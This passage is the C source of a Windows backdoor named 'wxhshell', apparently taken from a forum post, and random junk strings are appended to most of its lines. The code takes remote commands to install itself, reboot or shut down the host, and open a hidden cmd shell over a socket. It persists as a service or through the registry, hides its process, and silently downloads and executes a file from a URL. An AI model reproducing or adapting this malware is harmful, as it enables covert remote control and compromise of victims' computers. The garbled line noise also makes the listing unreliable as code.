    switch(cmd[0]) { TsUOpEuX  
  -zO2|@S,  
  // 帮助 'vq:D$A  
  case '?': { /`;n@0k>2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rs*Fy@  
    break; )0e2ic/  
  } d]i(h~?_  
  // 安装 RUUk f({(  
  case 'i': { !>`N$-U X  
    if(Install()) <ggtjw S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !!V#v9{  
    else #gaQaUjR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G0{H5_h  
    break; npyAJp  
    } nG, U>)  
  // 卸载 >Clh] ;K  
  case 'r': { +|{RE.DL  
    if(Uninstall()) #E+gXan  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o|iYd n\  
    else c8M2 ^{O,`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aJe^Tp(  
    break; ww{_c]My  
    } W$o2 7f  
  // 显示 wxhshell 所在路径 NU\ 5{N<  
  case 'p': { maY4g&'f  
    char svExeFile[MAX_PATH]; sv(f;ib  
    strcpy(svExeFile,"\n\r"); _#s=h_ FD  
      strcat(svExeFile,ExeFile); uV hCxUMQ  
        send(wsh,svExeFile,strlen(svExeFile),0); ZBG}3Z   
    break; }Jh: 8BNuP  
    } Xy5s^82?  
  // 重启 #:|+XLL  
  case 'b': { j0GMTri3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?$Wn!"EC8  
    if(Boot(REBOOT)) Z!&Rr~i <  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [;.`,/  
    else { a7/-wk  
    closesocket(wsh); \WrFqm#  
    ExitThread(0); gx:;&4AD  
    } lvpc*d|K  
    break; *tX{MSYW  
    } =GBI0&U  
  // 关机 z6~ H:k1G%  
  case 'd': { *P!e:Tm)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3!o4)yJWx  
    if(Boot(SHUTDOWN)) $ RwB_F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oi&Wo'DX  
    else {  oM1 6C|  
    closesocket(wsh); (zYy }g#n  
    ExitThread(0); ]:$ O{y  
    } vN OH&ja-s  
    break; b*mKei  
    } >x@P|\  
  // 获取shell c<BO gNr  
  case 's': { XC3Kh^  
    CmdShell(wsh); 0g<K[mPr7  
    closesocket(wsh); ^t*x*m8  
    ExitThread(0); N_Af3R1_  
    break; ^, i>'T  
  } F'?I-jtI  
  // 退出 ` C+HE$B  
  case 'x': { ixh47M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O0*e)i8  
    CloseIt(wsh); ZRUhAp'<qj  
    break; "$5\,  
    }  `}no9$l~  
  // 离开 Hj1 EGCA  
  case 'q': { 7ji=E";.w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rspayO<]3  
    closesocket(wsh); ]AS"z<  
    WSACleanup(); /Go K}W}  
    exit(1); Uo_tUp_Q  
    break; i_LF`JhEQT  
        } W:VP1 :  
  } 8{Fm[ %"  
  } 8?Y['  
Vjm_F!S  
  // 提示信息 M}"r#Plq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yISD/ g  
} w*w?S  
  } L1)@z8]   
tue/4Q#7  
  return; =vh8T\  
} %YlTF\-  
MY nH2w]  
// shell模块句柄 @gBE{)Fj  
int CmdShell(SOCKET sock) q1hMmMi  
{ z&3]%t `C  
STARTUPINFO si; 1(GHCxA8G  
ZeroMemory(&si,sizeof(si)); ^yKY'>T#d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AzpV4(:an.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f.pkQe(  
PROCESS_INFORMATION ProcessInfo; `Xc irfp  
char cmdline[]="cmd";  QI!i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w.+Eyu_I\  
  return 0; 7yiJ1K<bIt  
} m^\TUj  
w3D]~&]  
// 自身启动模式 ;ggy5?>Qu  
int StartFromService(void) x@cN3O  
{ VAYb=4lt  
typedef struct .Nx W=79t  
{ g.#+z'l  
  DWORD ExitStatus; Rh] P8  
  DWORD PebBaseAddress; {R&ZqEo'D  
  DWORD AffinityMask; ;? uC=o>Z{  
  DWORD BasePriority; _NdLcpBT?  
  ULONG UniqueProcessId; vU/ D7  
  ULONG InheritedFromUniqueProcessId; FX,$_:f6Y  
}   PROCESS_BASIC_INFORMATION; _8h8Wtif  
bn 4 &O  
PROCNTQSIP NtQueryInformationProcess; 8]0:1 {@  
qGPb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '3kcD7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MdhT!?  
R/<=mZ  
  HANDLE             hProcess; $)e:8jS=  
  PROCESS_BASIC_INFORMATION pbi; cc >  
0%)5.=6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VZA3IbK}  
  if(NULL == hInst ) return 0; BSp$F WvT?  
h <[+HsI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `:-J+<`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n*qN 29sx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iTNqWU-o  
?:|YGLaB  
  if (!NtQueryInformationProcess) return 0; U?U(;nSR\A  
j/<??v4F4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I Ru$oF}  
  if(!hProcess) return 0; G79C {|c\  
J/4y|8T/y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1BD6 l2y  
+ >sci  
  CloseHandle(hProcess); VvgN3e[  
Y%v P#>h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ix Ow=!@  
if(hProcess==NULL) return 0; r2G*!qK*1  
Z[,`"}}hv=  
HMODULE hMod; bBE^^9G=Z  
char procName[255]; }g,X5v?W  
unsigned long cbNeeded; z=?0)e(H,  
&R\XUxI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6hbEO-(  
rqvU8T7A  
  CloseHandle(hProcess); .g-3e"@  
O=O(3Pf>  
if(strstr(procName,"services")) return 1; // 以服务启动 -"Gl 4)  
8)Tj H'  
  return 0; // 注册表启动 <J#R3{  
} |z7dRDU}]  
c=t*I0-OVS  
// 主模块 A. Nz_!  
int StartWxhshell(LPSTR lpCmdLine) *Pb.f  
{ pB'x_z  
  SOCKET wsl; Q}uG/HI  
BOOL val=TRUE; O`[]xs  
  int port=0; *#ompm  
  struct sockaddr_in door; s 4IKSX  
ip5u_Xj ?  
  if(wscfg.ws_autoins) Install(); r|8V @.@i  
!\w\ ]7 ls  
port=atoi(lpCmdLine); @dhH;gt.I  
H5 q:z=A  
if(port<=0) port=wscfg.ws_port; Nzc>)2% N  
:Ba-u  
  WSADATA data; U5wTGv4S|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jg^^\n  
v=+k"gm6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u-/3(dKt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J:W'cH$cR  
  door.sin_family = AF_INET; S^g]:Xh&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fr/QW7B5  
  door.sin_port = htons(port); `1p?*9Ssn  
5fxbA2\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $WD +Q@6  
closesocket(wsl); ?hSha)1:  
return 1; @5*xw1B  
} w2<*$~C]  
4O Zy&,  
  if(listen(wsl,2) == INVALID_SOCKET) { 3&'R1~Vh  
closesocket(wsl); Cs;<'[_?YO  
return 1; NQ3|\<Wt  
} 9_` 3IJ  
  Wxhshell(wsl); :,=Fx</H  
  WSACleanup(); tYI]=:  
e>(Wvb&4  
return 0; Gm*Uv6?H?  
h&'J+b  
} )ldUayJ  
*%f3rvt7@)  
// 以NT服务方式启动 $@4e(Zrmo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K \m4*dOv  
{ u> In(7\  
DWORD   status = 0; V?WMj $l<  
  DWORD   specificError = 0xfffffff; *kV#)j  
Suj}MEiv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )muv;Rf`e5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oYGUjI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O^Dc&w  
  serviceStatus.dwWin32ExitCode     = 0; {)jk_&c7  
  serviceStatus.dwServiceSpecificExitCode = 0; z'v9j_\  
  serviceStatus.dwCheckPoint       = 0; #s/{u RYQ  
  serviceStatus.dwWaitHint       = 0; zZw@c?  
0I6499FQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +;5Wp$ M\  
  if (hServiceStatusHandle==0) return; JiUT\y  
"Vq@bNtu+  
status = GetLastError(); \Z8Y(]6*  
  if (status!=NO_ERROR) (h%|;9tF  
{ lP-kZA!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U &f#V=Rg  
    serviceStatus.dwCheckPoint       = 0; vJzxP y|  
    serviceStatus.dwWaitHint       = 0; <(ubZ  
    serviceStatus.dwWin32ExitCode     = status; ENpaaW@!Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; RbyF#[}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |^\ Hv5  
    return; ``/y=k/au  
  } hu`L v  
CD$u=E ]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /7S-|%1  
  serviceStatus.dwCheckPoint       = 0; oa?!50d  
  serviceStatus.dwWaitHint       = 0; x*k65WO\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Pi^ECSzQu[  
} -+`az)lrp  
/ N*HE  
// 处理NT服务事件,比如:启动、停止 U=_~{[/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =t ~+63)  
{ O>kXysMv>  
switch(fdwControl) b"*mi  
{ I>(;bNgN E  
case SERVICE_CONTROL_STOP: P<TpG0~(  
  serviceStatus.dwWin32ExitCode = 0; V%VrAi.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `mh-pBVD1  
  serviceStatus.dwCheckPoint   = 0; Q;d+]xj  
  serviceStatus.dwWaitHint     = 0; H ,01o5J  
  { j P{:A9T\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]wJ}-#Kx  
  } ZJ)3GF}4  
  return; wCTcGsw W  
case SERVICE_CONTROL_PAUSE: e@6RC bj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8b8e^\l(  
  break; z|taa;iM  
case SERVICE_CONTROL_CONTINUE: M^!C?(Hx^x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~Tpe,juG_  
  break; n$}R/*  
case SERVICE_CONTROL_INTERROGATE: I 0x`H)DA  
  break; ;Hz`0V  
}; |SwZi'p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ..v@Q%  
} Xq} n^W  
Qq @_Z=mt  
// 标准应用程序主函数 p3>Q<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mdmZ1:PBM  
{ YMd&To0s  
a 5~G  
// 获取操作系统版本 /gMa"5?,  
OsIsNt=GetOsVer(); .Bm^3A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #VP-T; Ahe  
8ItCfbqa6  
  // 从命令行安装 ?[a7l:3-[  
  if(strpbrk(lpCmdLine,"iI")) Install(); EN5G:hD  
7TMDZ*  
  // 下载执行文件 "\wDS2M)  
if(wscfg.ws_downexe) { 'b?#4rq}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %Q>~7P  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q>06dO~z8  
} JI{OGr  
E.En$'BvB  
if(!OsIsNt) { K{eqB!@j  
// 如果时win9x,隐藏进程并且设置为注册表启动 zyQ,unu  
HideProc(); zz+M1n-;o  
StartWxhshell(lpCmdLine); 4w?]dDyc%  
} fwar8 i1  
else oX=*MEfX  
  if(StartFromService()) v#T?YK  
  // 以服务方式启动 c1Fru  
  StartServiceCtrlDispatcher(DispatchTable); )l 4>=y  
else dvrvpDoE.  
  // 普通方式启动 5Xq.=/eX  
  StartWxhshell(lpCmdLine); 8k*  
UeK, q>i  
return 0; 5Tcl<Y6l  
}
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只看该作者 1 发表于: 2006-10-10
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